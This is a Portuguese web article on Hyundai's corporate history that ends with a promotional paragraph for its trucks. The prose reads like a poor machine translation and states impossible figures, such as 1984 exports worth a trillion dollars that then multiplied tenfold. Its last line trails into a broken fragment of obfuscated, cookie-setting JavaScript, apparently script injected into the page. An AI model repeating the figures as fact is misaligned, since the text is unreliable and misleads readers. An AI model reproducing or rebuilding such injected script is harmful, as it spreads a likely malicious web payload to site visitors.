Caminhões Hyundai

Caminhões Hyundai

Para entrar na produção de carros, a Hyundai, criada uma década depois da Guerra da Coréia e em plena recuperação do país, foi colocada nas mãos da Ford e da ItalDesign. O primeiro, através da sua subsidiária britânica, ajudou-o a iniciar a sua fábrica, muitos Taunus, e deu-lhe os componentes mecânicos para lançar o seu primeiro modelo, o Pony, cujo corpo foi assinado pelo designer italiano.

O Pony foi apresentado em Turim, em 1974, e dois anos depois a exportação começou. Se a Hyundai quisesse crescer, precisava do apoio de um grande construtor que facilitasse a tecnologia e expandisse seu mercado, uma vez que ocupava posição dominante no âmbito nacional, com o Pony e o Ford Tanus e Granada fabricados sob licença.

Em 1981, depois de iniciar a fabricação de pequenos caminhões, a Hyundai assinou um contrato de colaboração de tecnologia com a Mitsubishi. A partir desse momento, o crescimento foi vertiginoso. Em 1984, a marca exportou veículos no valor de um trilhão de dólares e, em dois anos, esse número multiplicou-se por dez. O sedan de quatro portas Pony e Steller de segunda geração pousou fortemente nos Estados Unidos e no Canadá e, mais timidamente, a Europa começou a receber o primeiro Hyundai graças à ausência de tarifas e competitividade de preços.

A fábrica de Ulsan cresceu para atingir uma capacidade de produção de 1,3 milhão de unidades por ano e atualmente conta com cinco módulos de produção que a tornam a maior fábrica de automóveis do mundo, com docas de carga, parques de bombeiros, lojas e hospitais próprios. Na Coréia, a Hyundai desenvolveu modelos grandes que nada mais eram do que a Mitsubishi rebatizada, mas isso permitiu que ele controlasse o mercado local com grande facilidade.

Ao mesmo tempo, continuou a exportar veículos low-end a preços imbatíveis, o que levou a aumentar sua penetração nos mercados norte-americano e europeu. Na década de 1990, a empresa iniciou a fábrica de Asan, criou um moderno centro de pesquisa e desenvolvimento em Namyang, um centro de design na Califórnia e novas linhas de montagem na Indonésia e em Botsuana. Com o desenvolvimento dos primeiros motores de quatro cilindros em 1991, a dependência tecnológica da Mitsubishi estava diminuindo.

Em 1998, a economia coreana entrou em colapso e, financeiramente, o país foi à falência, marcas duramente acusado o golpe, especialmente Daewoo, que tinha quebrado seus laços com a General Motors e Kia que fizeram o mesmo com a Mazda.

Hyundai, menos endividados do que seus rivais e menos dependente do mercado interno, e, embora ele teve que demitir funcionários e cortar a produção, manteve a liderança na Coréia, e foi introduzido em segmentos emergentes do SUV (Santa Fe e Terracan) e as minivans (Trajet e Matrix), e eu adoto suas gamas para os mercados de recebimento, desenvolvimento de motores Diesel para a Europa e carros maiores para os Estados Unidos.

Finalmente, a empresa assinou acordos de colaboração com a Daimler-Chrysler e com isso foi consolidada. Agora a empresa está ficando melhor e melhor preparada, onde a qualidade de seus carros está aumentando a cada dia.

Caminhões Hyundai

Hoje, a Hyundai desfruta da reputação de um fabricante com a capacidade única de combinar alto desempenho, economia e confiabilidade. Em um mundo onde o tempo é dinheiro, os caminhões da Hyundai são feitos para transportar cargas sob diferentes condições de trabalho, às vezes extremas. Sua força está focada em minimizar o tempo de inatividade para reduzir custos. Aumente sua rentabilidade com os caminhões da Hyundai.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]